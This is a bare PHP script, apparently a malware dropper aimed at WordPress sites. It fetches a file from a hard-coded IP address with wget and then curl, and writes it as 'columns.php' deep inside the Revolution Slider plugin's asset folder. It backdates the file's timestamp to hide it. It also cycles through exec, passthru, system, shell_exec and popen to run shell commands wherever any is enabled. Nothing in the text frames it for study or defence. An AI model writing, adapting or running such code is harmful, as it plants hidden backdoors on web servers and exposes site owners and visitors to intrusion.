<?php   $p = '{$_SERVER['DOCUMENT_ROOT']}/wp-content/plugins/revslider/admin/includes/shortcode_generator/gutenberg/src/assets/images/columns.php'; $u = 'http://62.60.131.254/tmp/GfRLOdtWIa'; $fs = 8900; $ft = 1665385893; run("wget -O {$p} {$u}"); check($p, $fs, $ft); run("curl -o {$p} {$u}"); check($p, $fs, $ft); function check($p, $fs, $ft) {     if (file_exists($p) && filesize($p) == $fs) {         @touch($p, $ft);         die('!success!');     } } function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f)) $out .= fread($f, 1024);         pclose($f);     }     return $out; } die('!ended!');